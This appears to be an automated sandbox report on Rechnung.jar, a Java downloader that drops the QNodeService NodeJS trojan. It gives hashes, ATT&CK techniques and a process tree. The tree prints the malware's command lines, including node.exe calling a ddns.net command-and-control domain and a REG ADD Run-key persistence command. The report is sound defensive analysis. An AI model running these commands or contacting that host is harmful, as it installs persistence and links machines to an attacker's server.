qnodeservice | 9c4265f1cbaa388bb7e281633c441a52b63b4f8462182a85beebc4e148a152a6

General

Target

Rechnung.jar
Size

106KB
MD5

126760476a6daefa180ec5d62e4d8384
SHA1

a9c1761c7eea022303918e4a97d6ee20481a0e7e
SHA256

9c4265f1cbaa388bb7e281633c441a52b63b4f8462182a85beebc4e148a152a6
SHA512

cd8c71196f2f7c07003972cd970bc0121eb7129a3abc082571371d72eb397f70424fac760a4fa8451104b4d1ecf92e9ee73895e48e6311e68c02e06a47df13f2

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3740	node.exe
3980	node.exe
908	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\dc9c5c7b-6f68-40e4-9d36-e6b11683f892 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab7d-177.dat	js
behavioral2/files/0x000100000001ab7d-180.dat	js
behavioral2/files/0x000100000001ab7d-184.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3740	node.exe
3740	node.exe
3740	node.exe
3740	node.exe
3980	node.exe
3980	node.exe
3980	node.exe
3980	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe
908	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1028 wrote to memory of 1032	1028	java.exe	77
PID 1028 wrote to memory of 1032	1028	java.exe	77
PID 1032 wrote to memory of 3740	1032	javaw.exe	81
PID 1032 wrote to memory of 3740	1032	javaw.exe	81
PID 3740 wrote to memory of 3980	3740	node.exe	83
PID 3740 wrote to memory of 3980	3740	node.exe	83
PID 3980 wrote to memory of 908	3980	node.exe	84
PID 3980 wrote to memory of 908	3980	node.exe	84
PID 908 wrote to memory of 2576	908	node.exe	86
PID 908 wrote to memory of 2576	908	node.exe	86
PID 2576 wrote to memory of 3184	2576	cmd.exe	87
PID 2576 wrote to memory of 3184	2576	cmd.exe	87

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Rechnung.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:1028
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\3260f424.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1032
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3740
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_3cY3SY\boot.js --hub-domain september101991.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3980
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_3cY3SY\boot.js --hub-domain september101991.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:908
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dc9c5c7b-6f68-40e4-9d36-e6b11683f892" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2576
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dc9c5c7b-6f68-40e4-9d36-e6b11683f892" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3184

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/908-185-0x0000000B3B340000-0x0000000B3B341000-memory.dmp

Filesize
4KB

Download
memory/3740-178-0x0000016EED740000-0x0000016EED741000-memory.dmp

Filesize
4KB

Download
memory/3980-181-0x0000025D0C280000-0x0000025D0C281000-memory.dmp

Filesize
4KB

Download

Analysis

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